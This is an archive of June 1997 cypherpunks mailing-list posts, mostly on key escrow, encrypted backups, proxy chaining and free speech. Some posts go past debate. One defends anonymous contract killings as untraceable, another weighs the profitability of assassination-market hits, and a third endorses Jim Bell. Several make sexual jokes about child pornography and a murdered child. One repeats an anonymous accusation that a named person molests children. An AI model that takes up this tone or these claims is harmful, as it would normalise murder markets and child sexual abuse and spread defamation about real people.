MIME-Version: 1.0
Content-Type: text/plain



At 10:58 AM 6/9/97 -0700, Huge Cajones Remailer forwarded:
>Sorry if this has been beaten to death before (if it has, a pointer to
>where it is in the archives would be appreciated), but is it possible to
>chain anonymizing proxy servers in a way similar to remailers?

Depends on the user interfaces of the anonymizing proxies - 
a system that lets you request what you want in the URL
may let you do more than a system that insists you type stuff in blanks,
but on the other hand,
http://anon.foo.com/proxy/anon.bar.com/proxy/anon.zork.com/proxy/thoughtcrim
e.com/
lets the everything in the chain see that you're really trying to reach
thoughtcrime.com, while a succession of SSL-encrypted forms popping up that
you fill in the blanks on may be harder to automate, but more secure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Tue, 10 Jun 1997 18:07:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime (Re: My War)
Message-ID: <Pine.LNX.3.96.970610025327.9794A-100000@quixote.stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Comrade Declan:

Thank you for labeling se7en's thoughtcrime as such and blocking his
subversive and enturbulating assertions from the fight-censorship mailing
list. The counterrevolutionary sedition that there is such a thing as
kiddie porn on the Holy Internet shall be suppressed forthwith. Verily,
traitor to the Holy Cause se7en is naught but an NSA Shill, who belongs
in the Pit of Despair with the other thought criminals.

Operation Free Speech II is proceeding according to the Five-Year Plan.

- -rich
 http://www.stanford.edu/~llurch/

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 10 Jun 1997 17:43:31 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime (Re: My War)
Message-ID: <199706100931.FAA07504@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> Subject: How "child porn" laws ban pix of girls in leotards
> 
> At 11:54 -0700 6/9/97, Vangelis wrote:
> >None of this out-of-control angry mob shit, alright?  THINK.  If it's too
> >hard a task to go after ONLY those genuinely responsible and you'd rather
> >go after their friends, family, co-workers, customers, or anyone else
> >you've rationalized as somehow indirectly encouraging the activity w/o
> >actually participating, then you've got no business playing vigilante -
> >you've become just another wreckless crusader *blinded* by his own
> >self-righteous outrage.  Christianity, the Nazi Party, and Prohibition, and
> >McCarthyism (just to name a few) have already given us enough of those.

  It seems logical to deduce that a child pornographer would want
to cover up their activity by loud protestations about child porno
on the internet. The obvious solution to child pornography on the
internet is to attack those who most loudly protest against it.

> The main reason folks seem to be in a lather about the "threat" of child
> porn is that it might ruin the Net for everyone. That is, it gives Congress
> an excuse to censor it and bring it under ever-tightening controls.

  Perhaps the answer, as with alcohol and gambling, is to put child
pornography under government regulatory control. Find a way to tax it.
Then only those who were not decent, law-abiding child pornographers
would have to fear imprisonment.

> Also, I see a lot of uninformed rants on this list about "we must uphold
> child porn laws." Few people seem to realize that the long-standing Federal
> child porn law outlawed *pictures of dancing girls wearing leotards*. I'm
> not making this up. No nudity. No breasts. Certainly no genitals. But the
> Supreme Court upheld the conviction in the Knox case. Now the law is even
> worse, since it criminalizes morphed images that *look* like kids in
> leotards, even if the models were 25-year old adults.

  And William Geiger could be criminalized by the fact that his bad
speling and the gramma make his posts *look* like crypto.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 10 Jun 1997 18:12:36 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime   [Lisa Bonet Ramsey]
Message-ID: <199706101001.GAA09197@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> Precisely. The laws are designed to go after the thoughts. Synthetic
> images, images of little girls in leotards. images of teenagers of legal
> age *in the countries of origin*...none of these involve acts of sexual
> congress with a child in violation of the laws of the U.S. The only crime
> is thoughtcrime.

 I couldn't help but notice from the TV reports that Lisa Bonet
Ramsey was a pretty hot little number. Has Peter Jennings been 
arrested yet for his part in the national media helping to spread
child pornography? Kookie Roberts?
 What if I send the FBI a picture of myself pulling my pud while
watching young Lisa strutting her stuff on the ten o'clock news?
Will the newscasters be imprisoned for conspiracy in my thought
crime?

> As for whether it is "sick" to be sexually attracted to an "underage"
> person, I sure do recall being attracted to a lot of the girls in high
> school, and they were certainly nearly all "underaged."

 Mother Nature was undoubtably a co-conspirator in your criminal
thoughts. If you had been charged you probably could have eased 
your sentence by ratting her out.

A. Perv





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 10 Jun 1997 20:01:41 +0800
To: cypherpunks@toad.com
Subject: Encryption Workshop
Message-ID: <1.5.4.32.19970610113747.008de16c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



On June 10, BXA will present an Encryption Workshop 
at the Westin Santa Clara, in Santa Clara, California. 

The half-day program will highlight the current U.S. policy 
on encryption and will include discussion of the main 
elements of the interim rule published December 30, 1996, 
including license exception KMI and the licensing process. 

The program will also address upcoming revisions based 
on the Administration's initiative to promote the use of
strong encryption by U.S. banks and financial institutions 
and their subsidiaries overseas.

For registration information, please contact: 

Carol Truhe with the Professional Association for Exporters 
and Importers at (408) 524-2135 or by fax at (408) 524-2023. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Tue, 10 Jun 1997 23:28:17 +0800
To: cypherpunks@cyberpass.net
Subject: hidden.net temporarily down
Message-ID: <199706101520.IAA09648@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain




     The magic smoke escaped from the machine running
remailer@hidden.net.  It is being moved to a new machine forthwith.
Expect a couple days downtime while the IP address change propogates.

remailer-admin@hidden.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deborah Stewart <azur@netcom.com>
Date: Tue, 10 Jun 1997 23:37:28 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Thoughtcrime (Re: My War)
In-Reply-To: <v03007804afc24574f7af@[168.161.105.191]>
Message-ID: <v03102801afc320d61e0a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>But isn't it clear that the true enemy is the censor? Stamp out child porn
>and then Congress will use Nazi sites, or regular porn sites, or sites that
>collect personal information as an excuse and justification for censorship.
>That's why you should attack the censors (and the real child molestors),
>not those trading dirty JPEGs.

No, the true enemy are the law makers which pander to the censors, ignoring
the constitution and the judicial which interpret the constitution to suit
the times and the mob.  Jim Bell was right!

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Wed, 11 Jun 1997 23:51:03 +0800
To: se7en <cypherpunks@toad.com>
Subject: Re: FCPUNX:Response to 'My War'
Message-ID: <199706111536.IAA03247@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> Anyone who thinks this doesn't affect the young children, you are wrong. 
> I doubt these children consented to the sexual activity. I doubt they 
> consented to being photographed. I doubt they consented to the pictures 
> being distributed to others.

Most of these children are adults now.  A great many of them are 
grandmothers.  Yet I see no prosecutions for the distribution of 
images by the supposed victims.

> I am sure this affects the 
> emotional/psychological state of the child victim in many ways beyond 
> what most of us can understand. I think we can all agree that is creates 
> a less-than-optimal psychological state in the children.

Produce a victim and you will find it a lot easier to prosecute.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 01:32:14 +0800
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <Bill Stewart's message of Mon, 09 Jun 1997 00:09:38 -0700>
Message-ID: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 PM 6/9/97 -0400, Marc Horowitz wrote:
>To me, mail encryption is not communications encryption.  The mail
>message is encrypted, just like a file might be.  Then those encrypted
>bits are sent over the net.  It is precisely because I have access to
>the ciphertext as a separate entity that this is not communications
>encryption.

An interesting perspective, but I don't know that it works.
For this to make sense, either the business needs to have access to
the stored received email if the user gets run over by a police car,
or else the business needs to know that it doesn't _need_ access -
either because the mail isn't business related, or because the
business-related parts have been transferred to other systems
using a convenient user interface.

On the other hand, if receiving email with encrypted attachments
is _in_convenient to store in a mail system, maybe it will help
encourage people not to use that mail system for storing messages,
or to junk the mail system entirely :-)  (I'm thinking here of systems
like IBM PROFS and Microsoft Mail, which both encourage storage
in their monolithic mailboxes.

>The *only* reason to escrow communications keys is to spy on people;
>there is never an opportunity for data loss here.
Yeah!  (Actually, the other reason to escrow them is because
you're using the same keys for communication and storage,
and you have potentially decent business reasons for backup
of storage keys, but that's only the case if you're not using
a sufficiently flexible cryptosystem and are using key backup
instead of data backup, which is really the preferred approach anyway.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 11 Jun 1997 00:21:49 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <199706082331.SAA10511@mailhub.amaranth.com>
Message-ID: <v03007852afc32baeb7d6@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:27 PM -0700 6/8/97, Tim May wrote:
>(Oh, and it almost goes without saying that the same "lies" William and
>others are so worried about in "commercial" speech happen all the time in
>non-commerical speech. For every example of where commercial speech
>involves lies or fraud, I can find similar or fully equivalent
>non-commercial examples, ranging from lies like "I love you" to get a
>partner into bed to deliberate misstatements to mislead an opponent. Why
>should such "lies" be protected while putatively commercial speech is to be
>subjected to an increasing number of limitations?)

The only justification I can think of off hand is that a presumption of
truth may make for more efficient markets.  On the other hand, it also has
very bad effects when applied to political speech.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 11 Jun 1997 00:29:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102804afc0fc8e1db0@[207.167.93.63]>
Message-ID: <v03102817afc32d50dc85@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:06 AM -0700 6/10/97, Bill Frantz wrote:
>At 5:27 PM -0700 6/8/97, Tim May wrote:
>>(Oh, and it almost goes without saying that the same "lies" William and
>>others are so worried about in "commercial" speech happen all the time in
>>non-commerical speech. For every example of where commercial speech
>>involves lies or fraud, I can find similar or fully equivalent
>>non-commercial examples, ranging from lies like "I love you" to get a
>>partner into bed to deliberate misstatements to mislead an opponent. Why
>>should such "lies" be protected while putatively commercial speech is to be
>>subjected to an increasing number of limitations?)
>
>The only justification I can think of off hand is that a presumption of
>truth may make for more efficient markets.  On the other hand, it also has
>very bad effects when applied to political speech.

I was speaking of justifications in the Constitution.

There is of course a little phrase about "the power to regulate commerce,"
by which was meant (until this century) the power to set tariffs and a very
few other things related to commerce.

This century, though, this clause has been used to to what I think are
severely unconstitutional things, like place restrictions on certain items
(tobacco, alchohol, drugs). And advertising. And the airwaves. And so on. A
pernicious reach by Congress into the choices of vendors and consumers.

As for Bill's point that a mandate on truth would possibly make for more
efficient markets, I doubt it. Who determines truth? And a populace which
believes everything it is told must be true because the government requires
truth will necessarily lose critical thinking abilities.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 11 Jun 1997 00:52:24 +0800
To: cypherpunks@cyberpass.net
Subject: Untraceable Contract Killings
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <v03102818afc32f6b5b30@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:02 AM -0700 6/10/97, Anonymous wrote:
>Declan McCullagh <declan@well.com> wrote:
>
>        Moral issues aside, one of the problems plaguing
>        Bell's scheme is that it's not limited to
>        eliminating "government thugs who violate your
>        rights," as he likes to describe it. If it
>        existed, anyone with some spare change could
>        wipe out a nosy neighbor or even an irritating
>        grocery store clerk.
>
>Not likely, but for another reason.  Assuming you had the money to take
>out your neighbor, it's going to be fairly obvious who did it.  (How many
>neighbors do you have?  Pretty short list of suspects.)

Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
hardly matters who the "suspects" are, as nothing is provable. (Assuming no
implicating ephemera are left lying around on disk drives....)

By the way, this is not really Bell's "assassination politics," this is
just anonymous contract killings, known about to some of us since Chaum's
work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.

I may sound touchy on this issue, but I'm seeing more and more articles
here and relayed from outside essentially giving Bell the credit for
inventing these kinds of markets, when in fact he's a relative latecomer.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 11 Jun 1997 01:19:11 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <3.0.1.32.19970610093059.00747630@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:31 PM 6/9/97 -0400, Adam Shostack wrote:
>Yes, these are our freinds.  They are attacking key recovery where its
>being sold; namely to companies.  And the report is damned effective
>at selling companies that 'the best cryptographers in the world'
>oppose this.  Its been very useful to me for that already.

Yeah.  They don't need to attack on the libertarian issues -
not only have they done that already (:-), but that's a political belief,
and their report is addressing the business issues that the government
is trying to use as a crowbar to get government access wedged into
the public's key management and crypto systems.
If Clipper 3 and Clipper 4 are bad technically, and bad economically,
businesses won't widely adopt it and push it on the public,
and they won't buy it enough for mass-market economies of scale
to kick in the way they do with MSDOS or SSNs-as-credit-identifiers.

Addressing the obvious blatant civil liberties bogosity of
the Clipper N programs is a job for a different audience,
and for speakers with a different sets of hats on - 
you wear the technical hat to say "Clipper N is broken technically",
as Matt Blaze et al. did for Clipper 1, and you wear the
respected-technical-consultants-to-business hat to say
"You can't trust this system with your money or trade secrets",
and you wear your civil liberties hat to say "Stop Big Brother!".
Our friends here are addressing the business audience,
so they're wearing the business-related hats.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 11 Jun 1997 00:43:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: None
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <Pine.GSO.3.96.970610093133.10417A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Anonymous wrote:

> The possibility of Microsoft killing their competition's engineers is
> somewhat more realistic, although lately they've been hiring a lot of
> them instead, so maybe they don't want to kill them. :)

"Ve have veys ov making you vork for us!"

Adds a new twist to hiring practices...  Work for us or not at all.

"Microsoft Mach Frie!"

alano@teleport.com|"The only secure system is one run over by a steamroller."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 11 Jun 1997 01:13:09 +0800
To: cypherpunks@Algebra.COM
Subject: Macht frei or make fries?
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <v03102819afc337e65946@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:34 AM -0700 6/10/97, Alan wrote:
>On Tue, 10 Jun 1997, Anonymous wrote:
>
>> The possibility of Microsoft killing their competition's engineers is
>> somewhat more realistic, although lately they've been hiring a lot of
>> them instead, so maybe they don't want to kill them. :)
>
>"Ve have veys ov making you vork for us!"
>
>Adds a new twist to hiring practices...  Work for us or not at all.
>
>"Microsoft Mach Frie!"

I don't think MS is using the Mach kernel...

Maybe you meant "Microsoft macht frei!"

Or "McDonald's Makes Fries!"

Or, speaking of the Mach kernel,

Kernel Jerry Sanders finger-lickin' good tasty bytes.


--Klaus! von Future Prime

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Tue, 10 Jun 1997 23:01:05 +0800
To: dccp@eff.org
Subject: privacy discussion on today's TOTN
Message-ID: <3.0.1.32.19970610103445.00913710@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



NPR's Talk of the Nation, today at 14:00 EDT, will discuss privacy issues.

+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Tue, 10 Jun 1997 23:00:05 +0800
Subject: blue, blue, 'lectric blue
Message-ID: <m0wbS6E-00001rC@conflict.engr.ucf.edu>
MIME-Version: 1.0
Content-Type: text/plain



Blue Lister's Nuked!  Blue Lister's Nuked!

First round's on Ian.  Second round we puked!

http://nethomes.com/lectric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 11 Jun 1997 02:49:14 +0800
To: cryptography@c2.net
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
Message-ID: <19970610112926.04400@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 10, 1997 at 12:12:36PM -0700, Phil Helms wrote:
> On Tue, 10 Jun 1997, Bill Stewart wrote:
> 
> > and you have potentially decent business reasons for backup
> > of storage keys, but that's only the case if you're not using
> > a sufficiently flexible cryptosystem and are using key backup
> > instead of data backup, which is really the preferred approach anyway.)
> 
> I could envision situations where you wouldn't want to backup plaintext,
> but only ciphertext.  In those situations, key backup would also be
> necessary.  This would require the use of passphrases or some other
> tokens to utilize the backed up keys.

If you have data you wish to guard from disclosure I think that in
most circumstances you want to back up ciphertext.  It is a *lot*
cheaper to secure a piece of paper with a passphrase on it (in a safe
deposit box, for example) than it is guard a gigabyte of backup tapes. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phil Helms <phil@cccs.cccoes.edu>
Date: Wed, 11 Jun 1997 02:26:40 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970610090503.00747630@popd.ix.netcom.com>
Message-ID: <Pine.PMDF.3.95.970610115750.618690139C-100000@cccs.cccoes.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Bill Stewart wrote:

> and you have potentially decent business reasons for backup
> of storage keys, but that's only the case if you're not using
> a sufficiently flexible cryptosystem and are using key backup
> instead of data backup, which is really the preferred approach anyway.)

I could envision situations where you wouldn't want to backup plaintext,
but only ciphertext.  In those situations, key backup would also be
necessary.  This would require the use of passphrases or some other
tokens to utilize the backed up keys.

 --
 Phil Helms                                  Internet: phil@cccs.cccoes.edu
 Community College Computer Services                    Phone: 303/595-1524
 Denver, Colorado                                         FAX: 303/620-4697





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 11 Jun 1997 02:49:11 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Hash functions
In-Reply-To: <199706101740.TAA27226@basement.replay.com>
Message-ID: <Pine.A41.3.95.970610123029.52228A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Tue, 10 Jun 1997, Anonymous wrote:

> Given Tim May's propensity to molest little children, is it 
> any surprise that the state of California wants to have him 
> castrated?
> 
>       _  o
>      |<)_/# Tim May
>      TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Tue, 10 Jun 1997 19:10:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re(2): With friends like these...
Message-ID: <WIN2359-970610105956-28E3*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain




We have to live with the fact that industry has a janus head.
On one hand - and here we should follow their example - they 
are reluctant to allow somebody else to keep their keys in trust.
On the other hand - in contradiction to the previous - they 
invest in development of key escrow systems including key 
management protocols which allow third parties having 
uncontrolled access to keys.

Theodor Schlickmann
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 10 Jun 1997 19:09:33 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <Pine.GSO.3.95.970609112236.19258B-100000@cp.pathfinder.com>
Message-ID: <199706101102.NAA05299@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> wrote:

        Moral issues aside, one of the problems plaguing
        Bell's scheme is that it's not limited to
        eliminating "government thugs who violate your
        rights," as he likes to describe it. If it
        existed, anyone with some spare change could
        wipe out a nosy neighbor or even an irritating
        grocery store clerk.

Not likely, but for another reason.  Assuming you had the money to take
out your neighbor, it's going to be fairly obvious who did it.  (How many
neighbors do you have?  Pretty short list of suspects.)

Also, killing some nobody in a grocery store is more prone to error, and
less widely witnessed, and therefore harder to collect payment on, thus
less profitable.

The possibility of Microsoft killing their competition's engineers is
somewhat more realistic, although lately they've been hiring a lot of
them instead, so maybe they don't want to kill them. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 11 Jun 1997 05:19:20 +0800
To: cryptography@c2.net
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <19970610112926.04400@bywater.songbird.com>
Message-ID: <19970610134844.39484@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 10, 1997 at 03:20:27PM -0400, Ray Arachelian wrote:
> On Tue, 10 Jun 1997, the spooks made the tentacle named Kent Crispin
> write the following bad advice:
> 
> > If you have data you wish to guard from disclosure I think that in
> > most circumstances you want to back up ciphertext.  It is a *lot*
> > cheaper to secure a piece of paper with a passphrase on it (in a safe
> > deposit box, for example) than it is guard a gigabyte of backup tapes. 
> 
> BBBBZZZZZZZZZT!  Wrong!

> Passphrases can be memorized.

Chinese proverb: "The strongest memory is weaker than faded ink".

>  4mm DAT tapes hold several gigs and are
> tiny.

[excoriating exposure of my stupidity deleted]

You're right -- I misspoke.  I confess that I don't pay much attention
to tape technology.  I was just thinking about the robotic silos at
work -- of course, they hold a lot more than gigabytes -- individual
data files on them are frequently many gigabytes.  In this environment
(admittedly atypical, though some commercial enterprises are probably 
at least as large) it would clearly be cheaper to guard keys than it 
would be to guard the tapes.  But they guard the tapes anyway.

[long tape tutorial deleted]

> But you can leave the tapes unprotected in clear view of the world. 
> They're useless to those that don't have the passphrase.  Hence it costs
> you $0.0 to secure tapes that hold strongly encrypted information.  It
> costs a lot more to protect that said piece of paper.

After all that humiliation, thank you for exactly making my point. 
You guard the keys, you don't guard the tapes.

> If you are paranoid, you could encrypt your backup with a
> different cypher.  (i.e. use IDEA on the hard drive, then backup and
> encrypt the encrypted drive with 3DES and Blowfish, all using different
> passphrases.)

Ah yes, remembering *all* those passphrases, and what happens if you 
forget? 

> Yes, you can write your passphrase on paper, but if someone finds it you
> are screwed.

You are screwed if you forget it, to.  Either eventuality can be 
disastrous, depending on the circumstances.  For many types of data 
losing access to the data is a far bigger disaster than unauthorized 
exposure. 

> Giving such advice is dangerous.  It is as if you told
> someone to put a PostIt(tm) note with their account and password on their
> monitor, or to use their birthday as their password, or their dog's name.
> Paper is very easily compromised.  Weak passwords and passphrases are also
> easily compromised.

I am quite familiar with all these issues, Ray.

The scheme is that you write the passphrase on a piece of paper, and 
put the paper in a vault.  This reduces the risk of loss of access, 
and increases the risk of exposure.  In real environments you 
evaluate both risks.  Put it in other terms:  you have $1000000000 in 
untraceable ecash sitting encrypted on your disk.  Which is worse: 
having it stolen, or losing the key that decrypts it?  The answer is, 
they are equally bad.

Indeed you can use secret sharing techniques to hide the key -- for 
$1000000000 I probably would.  For all the secrets I currently know, 
putting the key in a vault is sufficient security.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 11 Jun 1997 05:28:13 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199706102120.OAA12245@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




tzeruch@ceddec.com righteously writes:

> Looking at synthetic child porn may be purely a thought crime, but it
> involves breaking a lot of societal taboos.  If someone does not have the
> self-restraint to not look at mere pictures, will they have the restraint
> to avoid comitting actual crimes?

> Although you can argue that people may be able to look without touching,
> the reason they are looking in the first place involves a release of the
> beast within.  How many such people are we willing to trust to keep that
> beast on the chain.  The law is currently structured to answer "none" to
> this question, and this may be the proper answer.

Hear, hear, brother!

Also, all womenfolk should be required to cover up their entire bodies
as well as their faces whenever they're in public or in contact with any
male above the age of puberty, even unto their male relatives.  If one
of these men doesn't have the self-restraint to not look at the woman
in the first place, will he have the restraint to keep from raping her?

After all, the reason they are looking in the first place involves a
release of the beast within.  How many such people are we willing to
trust to keep that beast on the chain?  "None" is again the proper
answer of course.


> This does not mean that I am any less a civil-cyber-libertarian

No, of course not.  How could anyone have thought so?


Praise God, brother.


Scrupulus






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 11 Jun 1997 03:02:30 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: My War
In-Reply-To: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
Message-ID: <97Jun10.144116edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
